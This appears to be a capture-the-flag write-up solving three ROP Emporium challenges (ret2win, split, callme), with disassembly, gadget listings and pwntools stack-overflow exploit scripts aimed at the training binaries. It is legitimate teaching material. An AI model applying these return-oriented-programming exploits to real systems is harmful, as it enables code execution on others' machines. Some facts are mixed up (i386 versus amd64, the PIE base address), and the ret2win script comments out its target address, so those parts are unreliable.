Home ROPEMPORIUM
Post
Cancel

ROPEMPORIUM

Introduction

You already know this bit Return-oriented programming (ROP) is a mechanism that can be leveraged to bypass exploit mitigation schemes such as NX/DEP. For some background on the subject you can check out the Wikipedia page.

Why you’re here

ROP Emporium provides a series of challenges that are designed to teach ROP in isolation, with minimal requirement for reverse-engineering or bug hunting. Each challenge introduces a new concept with slowly increasing complexity. Follow the links on the homepage to see exercise descriptions and the challenge binaries. Sometimes a few clues as to how you might go about solving a challenge are included, but there aren’t any spoilers.

Let's Go to the challenge

Ret2win

  • -> Identify file :
    1
    
    ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
    

    The binary is a ELF executable for 64-bit architecture. As expected

Now I will verify the security of this binary file, by doing :

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  • Arch : i386-32-little: This means this is a 32-bit binary compiled on a little-endian system.

  • RELRO : Partial RELRO: A detailed explanation on what RELRO is can be found here.

  • Stack : No canary found: Stack canaries are a feature that programs can use to protect against buffer overflows. More information here.

  • NX : NX enabled: NX means Not Executable. This just means that the stack is not executable, meaning we can’t just place our own malicious shellcode on the stack and execute it.

  • PIE : No PIE (0x8048000): PIE means Position Independent Executable. PIE being enabled is synonymous with ASLR being enabled. More information about PIE (and by extension, ASLR) can be found here.

Afterward, I decided to run the program and see its behavior. The program somewhat ask if we can break the program and overflow the buffer. Okay, let’s move on and try to get the flag!.

let’s analyze

There are three interesting functions namely main, pwnme, and ret2win.

the following disassamble main :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
; DATA XREF from entry0 @ 0x4005cd(r)
 81: int main (int argc, char **argv, char **envp);
           0x00400697      55             push rbp
           0x00400698      4889e5         mov rbp, rsp
           0x0040069b      488b05b60920.  mov rax, qword [obj.stdout] ; obj.__TMC_END__
                                                                      ; [0x601058:8]=0
           0x004006a2      b900000000     mov ecx, 0                  ; size_t size
           0x004006a7      ba02000000     mov edx, 2                  ; int mode
           0x004006ac      be00000000     mov esi, 0                  ; char *buf
           0x004006b1      4889c7         mov rdi, rax                ; FILE*stream
           0x004006b4      e8e7feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
           0x004006b9      bf08084000     mov edi, str.ret2win_by_ROP_Emporium ; 0x400808 ; "ret2win by ROP Emporium" ; const char *s
           0x004006be      e88dfeffff     call sym.imp.puts           ; int puts(const char *s)
           0x004006c3      bf20084000     mov edi, str.x86_64_n       ; 0x400820 ; "x86_64\n" ; const char *s
           0x004006c8      e883feffff     call sym.imp.puts           ; int puts(const char *s)
           0x004006cd      b800000000     mov eax, 0
           0x004006d2      e811000000     call sym.pwnme
           0x004006d7      bf28084000     mov edi, str._nExiting      ; 0x400828 ; "\nExiting" ; const char *s
           0x004006dc      e86ffeffff     call sym.imp.puts           ; int puts(const char *s)
           0x004006e1      b800000000     mov eax, 0
           0x004006e6      5d             pop rbp
           0x004006e7      c3             ret

Disassemble pwnme :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
; CALL XREF from main @ 0x4006d2(x)
 110: sym.pwnme ();
           ; var void *buf @ rbp-0x20
           0x004006e8      55             push rbp
           0x004006e9      4889e5         mov rbp, rsp
           0x004006ec      4883ec20       sub rsp, 0x20
           0x004006f0      488d45e0       lea rax, [buf]
           0x004006f4      ba20000000     mov edx, 0x20               ; 32 ; size_t n
           0x004006f9      be00000000     mov esi, 0                  ; int c
           0x004006fe      4889c7         mov rdi, rax                ; void *s
           0x00400701      e87afeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
           0x00400706      bf38084000     mov edi, str.For_my_first_trick__I_will_attempt_to_fit_56_bytes_of_user_input_into_32_bytes_of_stack_buffer_ ; 0x400838 ; "For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!" ; const char *s
           0x0040070b      e840feffff     call sym.imp.puts           ; int puts(const char *s)
           0x00400710      bf98084000     mov edi, str.What_could_possibly_go_wrong_ ; 0x400898 ; "What could possibly go wrong?" ; const char *s
           0x00400715      e836feffff     call sym.imp.puts           ; int puts(const char *s)
           0x0040071a      bfb8084000     mov edi, str.You_there__may_I_have_your_input_please__And_dont_worry_about_null_bytes__were_using_read____n ; 0x4008b8 ; "You there, may I have your input please? And don't worry about null bytes, we're using read()!\n" ; const char *s
           0x0040071f      e82cfeffff     call sym.imp.puts           ; int puts(const char *s)
           0x00400724      bf18094000     mov edi, 0x400918           ; "> " ; const char *format
           0x00400729      b800000000     mov eax, 0
           0x0040072e      e83dfeffff     call sym.imp.printf         ; int printf(const char *format)
           0x00400733      488d45e0       lea rax, [buf]
           0x00400737      ba38000000     mov edx, 0x38               ; '8' ; 56 ; size_t nbyte
           0x0040073c      4889c6         mov rsi, rax                ; void *buf
           0x0040073f      bf00000000     mov edi, 0                  ; int fildes
           0x00400744      e847feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
           0x00400749      bf1b094000     mov edi, str.Thank_you_     ; 0x40091b ; "Thank you!" ; const char *s
           0x0040074e      e8fdfdffff     call sym.imp.puts           ; int puts(const char *s)
           0x00400753      90             nop
           0x00400754      c9             leave
           0x00400755      c3             ret

Disassemble ret2win :

1
2
3
4
5
6
7
8
9
10
           0x00400756      55             push rbp
           0x00400757      4889e5         mov rbp, rsp
           0x0040075a      bf26094000     mov edi, str.Well_done__Heres_your_flag: ; 0x400926 ; "Well done! Here's your flag:" ; const char *s
           0x0040075f      e8ecfdffff     call sym.imp.puts           ; int puts(const char *s)
           0x00400764      bf43094000     mov edi, str._bin_cat_flag.txt ; 0x400943 ; "/bin/cat flag.txt" ; const char *string
           0x00400769      e8f2fdffff     call sym.imp.system         ; int system(const char *string)
           0x0040076e      90             nop
           0x0040076f      5d             pop rbp
           0x00400770      c3             ret

The program’s main function calls pwnme to receive input from the user. In pwnme, a buffer of size 0x20 (32 in decimal) is created, and the read function writes the user’s input into this buffer. However, there is a vulnerability since read writes 0x38 bytes (56 in decimal) from the standard input, which exceeds the buffer size. This creates a buffer overflow scenario.

The ret2win function seems to hold the flag we desire, as mentioned in the bin_cat_flag.txt comment. It likely prints the contents of flag.txt to the screen.

To exploit this vulnerability, we need to determine the offset to overwrite the return address. Based on the provided information, the offset appears to be around 40 bytes.

Given this information, the plan is to construct a ROP chain and add an extra ret instruction as padding. This can be achieved by finding the correct address of a ret gadget, which will help us execute the desired ret2win function.

For that I used the tool ROPgadget :

  • ROPgadget --binary ./ret2win --ropchain
  • ropper --file ./ret2win --search " "
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Gadgets information
============================================================
0x000000000040060e : adc byte ptr [rax], ah ; jmp rax
0x00000000004005d9 : add ah, dh ; nop dword ptr [rax + rax] ; ret
...
...
0x0000000000400690 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400620
0x000000000040053e : ret   <-------- We need this address
0x0000000000400542 : ret 0x200a
0x0000000000400608 : sal byte ptr [rbp + rcx + 0x5d], 0xbf ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x000000000040064a : sal byte ptr [rbx + rcx + 0x5d], 0xbf ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x0000000000400535 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004007f5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004007f4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004007ea : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400534 : test eax, eax ; je 0x40053a ; call rax
0x0000000000400533 : test rax, rax ; je 0x40053a ; call rax

Unique gadgets found: 94

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

    [-] Can't find the 'mov qword ptr [r64], r64' gadget

As you can see in the output above we have a return ROP gadget in the address : 0x000000000040053e

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

elf = ELF('ret2win')

p = process(elf.path)
# p = remote('')

#Prepare the payload
payload = b"A"*40                   #creates the junk part of the payload
payload += p64(0x40053e)            #ret address ROP chain. Necessary because we are in Ubuntu 20.04 64bits
# payload += p64(elf.symbols.ret2win) #address to ret2win() function

# Send the payload
p.sendline(payload)                 #send the payload to the process
p.interactive()

SPLIT

This level takes it up a notch, and has us set up the stack such that we call system() ourselves and supply our own argument of /bin/cat flag.txt.

  • -> Identify file :
1
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped

The binary is a ELF executable for 64-bit architecture. As expected

Looking at the important bit, we see three functions now. We can assume main() calls pwnme() as that’s the theme the challenges take.

Let’s check pwnme() :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
           ; var void *buf @ rbp-0x20
           0x004006e8      55             push rbp
           0x004006e9      4889e5         mov rbp, rsp
           0x004006ec      4883ec20       sub rsp, 0x20
           0x004006f0      488d45e0       lea rax, [buf]
           0x004006f4      ba20000000     mov edx, 0x20               ; 32 ; size_t n
           0x004006f9      be00000000     mov esi, 0                  ; int c
           0x004006fe      4889c7         mov rdi, rax                ; void *s
           0x00400701      e87afeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
           0x00400706      bf10084000     mov edi, str.Contriving_a_reason_to_ask_user_for_data... ; 0x400810 ; "Contriving a reason to ask user for data..." ; const char *s
           0x0040070b      e840feffff     call sym.imp.puts           ; int puts(const char *s)
           0x00400710      bf3c084000     mov edi, 0x40083c           ; "> " ; const char *format
           0x00400715      b800000000     mov eax, 0
           0x0040071a      e851feffff     call sym.imp.printf         ; int printf(const char *format)
           0x0040071f      488d45e0       lea rax, [buf]
           0x00400723      ba60000000     mov edx, 0x60               ; '`' ; 96 ; size_t nbyte
           0x00400728      4889c6         mov rsi, rax                ; void *buf
           0x0040072b      bf00000000     mov edi, 0                  ; int fildes
           0x00400730      e85bfeffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
           0x00400735      bf3f084000     mov edi, str.Thank_you_     ; 0x40083f ; "Thank you!" ; const char *s
           0x0040073a      e811feffff     call sym.imp.puts           ; int puts(const char *s)
           0x0040073f      90             nop
           0x00400740      c9             leave
           0x00400741      c3             ret

It is also possible to see in this function that they are creating a buffer with size 0x20 (32 in decimal) and then with the read function they ask the user some input and write it into the buffer, the problem here is that they write 0x60 bytes (96 in decimal) from the standard input into the buffer, and obviously, 96 is greater than 32 making this a normal buffer overflow scenario.

In the usefulFunction we have system call in the address 0x0040074b that we can use to get the flag.

1
2
3
4
5
6
7
8
9
10
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x000007e8 0x004007e8 21  22   .rodata ascii split by ROP Emporium
1   0x000007fe 0x004007fe 7   8    .rodata ascii x86_64\n
2   0x00000806 0x00400806 8   9    .rodata ascii \nExiting
3   0x00000810 0x00400810 43  44   .rodata ascii Contriving a reason to ask user for data...
4   0x0000083f 0x0040083f 10  11   .rodata ascii Thank you!
5   0x0000084a 0x0040084a 7   8    .rodata ascii /bin/ls
0   0x00001060 0x00601060 17  18   .data   ascii /bin/cat flag.txt

To retrieve the flag, we aim to jump to the address containing /bin/cat flag.txt and then proceed to the usefulFunction address, which executes the system() call to execute the command /bin/cat flag.txt.

However, two factors need to be considered. Firstly, we don’t know the exact offset value for the buffer overflow. Secondly, we are dealing with a 64-bit architecture, which has a different stack structure compared to a 32-bit architecture. It’s essential to analyze the stack for both architectures to cover all possibilities.

According to the challenge description, for the x86 architecture, we only require a 2-link chain, while for the x86_64 architecture, a 3-link chain is necessary due to differences in function parameter passing and register placement on the stack.

In summary, we need to determine the offset value for the buffer overflow and construct a 3-link chain for the 64-bit architecture, taking into account the stack differences. Once executed successfully, we will be able to retrieve the flag by executing the /bin/cat flag.txt command.

syscallarg0arg1arg2arg3arg4arg5
%eax%ebx%ecx%edx%esi%edi%ebp

Therefore, for the 32 bit version we do not need to use registers to pass arguments to functions, just the stack, so this would be the rop chain :

  • Rantai ROP = offset_padding + system_addr + bin_cat_command

In 0x86_64 (64bits) the function parameters are passed to functions via registers.

syscallarg0arg1arg2arg3arg4arg5
%rax%rdi%rsi%rdx%rcx%r8%r9

Reference : https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf

In this case, since we want to call system() with the address to the string /bin/cat flag.txt, we have to first put this address into rdi before calling system().

We need to find a ROP gadget that does a pop rdi ; ret.

  • ROPgadget --binary ./split --ropchain | grep "pop rdi ; ret"

As you can see in the output above we have a pop rdi ; ret ROP gadget in the address: 0x00000000004007c3.

And the ROP chain for 64bits is :

  • ROP chain = offset_padding + pop_rdi_ret_gadget + bin_cat_command + system_addr

To find the buffer overflow offset, we can analyze the content of the RSP register. By comparing the original value of RSP before the buffer overflow with the modified value after the overflow, we can determine the offset. In this case, it seems to be 40 bytes.

With the offset value determined, we can proceed to construct our exploit. We need to include the extra pop rdi; ret address for 64-bit architecture, the address for /bin/cat flag.txt, and the address of the usefulFunction that executes the injected command to retrieve the flag.

In the provided script, the ELF functions are used to encapsulate the information about the split ELF file. The script creates a process to launch the ELF file, and then the payload is constructed.

The payload consists of junk characters (a 40-byte random array in this case) to fill the buffer. For 64-bit architecture, the pop rdi; ret ROP gadget address is added to pass the argument (/bin/cat flag.txt) to the system call in a register. Finally, the address of the usefulFunction containing the system call is added to the payload.

Overall, the script sets up the environment, constructs the payload with the necessary addresses and values, and executes the exploit to retrieve the flag.

  • payload = 40 bytes of junk + pop_rdi_ret_address + bin_cat_address + system_call_address

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

elf = ELF('split')                  #context.binary

p = process(elf.path)

#Prepare the payload
payload = b"A"*40                   #creates the junk part of the payload
payload += p64(0x4007c3)            #pop rdi ; ret address ROP chain. Necessary because we are 64bits
payload += p64(0x601060)            #The /bin/cat flag.txt
payload += p64(0x40074b)            #address to system call in usefulFunction

p.sendline(payload)                 #send the payload to the process
p.interactive()

ROPE{a_placeholder_32byte_flag!}

callme

For this challenge, the description tells us we have to call callme_one(1, 2, 3), callme_two(1, 2, 3) and callme_three(1, 2, 3), in that order, to get the flag.

From the description:

You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag`.

For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

we need to first understand the buffer overflow offset, and also we need a way to pass the arguments to the functions, to do so we need ROP gadget with three register pops followed by a ret.

The pwnme function :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
           ; var void *buf @ rbp-0x20
           0x00400898      55             push rbp
           0x00400899      4889e5         mov rbp, rsp
           0x0040089c      4883ec20       sub rsp, 0x20
           0x004008a0      488d45e0       lea rax, [buf]
           0x004008a4      ba20000000     mov edx, 0x20               ; 32 ; size_t n
           0x004008a9      be00000000     mov esi, 0                  ; int c
           0x004008ae      4889c7         mov rdi, rax                ; void *s
           0x004008b1      e84afeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
           0x004008b6      bff0094000     mov edi, str.Hope_you_read_the_instructions..._n ; 0x4009f0 ; "Hope you read the instructions...\n" ; const char *s
           0x004008bb      e810feffff     call sym.imp.puts           ; int puts(const char *s)
           0x004008c0      bf130a4000     mov edi, 0x400a13           ; '\x13\n@' ; "> " ; const char *format
           0x004008c5      b800000000     mov eax, 0
           0x004008ca      e811feffff     call sym.imp.printf         ; int printf(const char *format)
           0x004008cf      488d45e0       lea rax, [buf]
           0x004008d3      ba00020000     mov edx, 0x200              ; 512 ; size_t nbyte
           0x004008d8      4889c6         mov rsi, rax                ; void *buf
           0x004008db      bf00000000     mov edi, 0                  ; int fildes
           0x004008e0      e82bfeffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
           0x004008e5      bf160a4000     mov edi, str.Thank_you_     ; 0x400a16 ; "Thank you!" ; const char *s
           0x004008ea      e8e1fdffff     call sym.imp.puts           ; int puts(const char *s)
           0x004008ef      90             nop
           0x004008f0      c9             leave
           0x004008f1      c3             ret

The main function calls the pwnme and here is where we get the input from the user. It is also possible to see in this function that they are creating a buffer with size 0x20 (32 in decimal) and then with the read function they ask the user some input and write it into the buffer, the problem here is that they write 0x200 bytes (512 in decimal) from the standard input into the buffer, and obviously, 512 is greater than 32 making this a normal buffer overflow scenario.

Now that we have the content of the RSP register, all it is left us to do to be able to find the offset 40 bytes

As you probably know, in the 64bit architecture the values are passed to functions using registers, and the 64bit stack is as such :

syscallarg0arg1arg2arg3arg4arg5
%rax%rdi%rsi%rdx%rcx%r8%r9

Therefore, for the 64 bit version we need to use registers to pass arguments to functions, and because we just need to pass three, which is given in the challenge description, we need to use a ROP dadget that pops three registers and then as a ret. It is important to point out that the one thing that we must be aware to be able to choose the correct ROP gadget is that the ESP must be moved towers higher address in the ROP gadget, so by looking at the stack we need to go from left to right. One example would be : pop rdi ; pop rsi ; pop rdx ; ret.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Gadgets information
============================================================
0x000000000040099c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009a0 : pop r14 ; pop r15 ; ret
0x00000000004009a2 : pop r15 ; ret
0x000000000040099b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007c8 : pop rbp ; ret
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret <---------
0x00000000004009a3 : pop rdi ; ret
0x000000000040093e : pop rdx ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret
0x000000000040099d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006be : ret

Unique gadgets found: 14

In this script, I start by using the ELF functions to encapsulate the information about the ELF file given as an argument, the callme in our case. Then, I created a process p that is responsible to launch the ELF file in the path, which is given as an argument. After this initialization process, it is time to create the payload.

The idea is simple. We simply have to first add the junk (a 40 bytes long random array of characters, in our case A). After this, because we have to pass three arguments to each function I assigned 3 variables the respective arguments (as you can see in arg0, arg1 and arg2) and I created a variable with the pop rdi ; pop rsi ; pop rdx ; ret address previously found. After having these variables assigned we needed to get the address for the functions callme_one, callme_two and callme_three. After this I decided to create a get_args variable that basically added the registers to the functions. I did this because each function will have to receive the same three arguments in the same order.

Now all I had left to do is write the final payload, which is as such :

get_args = pop_rdi_rsi_rdx_ret_address + arg0 + arg1 + arg2

  • payload = 40 bytes of junk + get_args + callme_one_address + get_args + callme_two_address + get_args + callme_three_address

SCRIPT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

elf = ELF('callme')                             #context.binary

p = process(elf.path)

#Prepare the payload
junk = b"A"*40                                  #creates the junk part of the payload
arg0 = p64(0xdeadbeefdeadbeef)                  
arg1 = p64(0xcafebabecafebabe)                  
arg2 = p64(0xd00df00dd00df00d)                  

callme_one = p64(0x400720)                      #address of callme_one
callme_two = p64(0x400740)                      #address of callme_two
callme_three = p64(0x4006f0)                    #address of callme_three  

pop_rdi_rsi_rdx_ret = p64(0x40093c)             #address of pop rdi ; pop rsi ; pop rdx ; ret

get_args = pop_rdi_rsi_rdx_ret + arg0 + arg1 + arg2

payload = junk + get_args + callme_one + get_args + callme_two + get_args + callme_three


# Send the payload
p.sendline(payload)                 #send the payload to the process
p.interactive()
This post is licensed under CC BY 4.0 by the author.
Trending Tags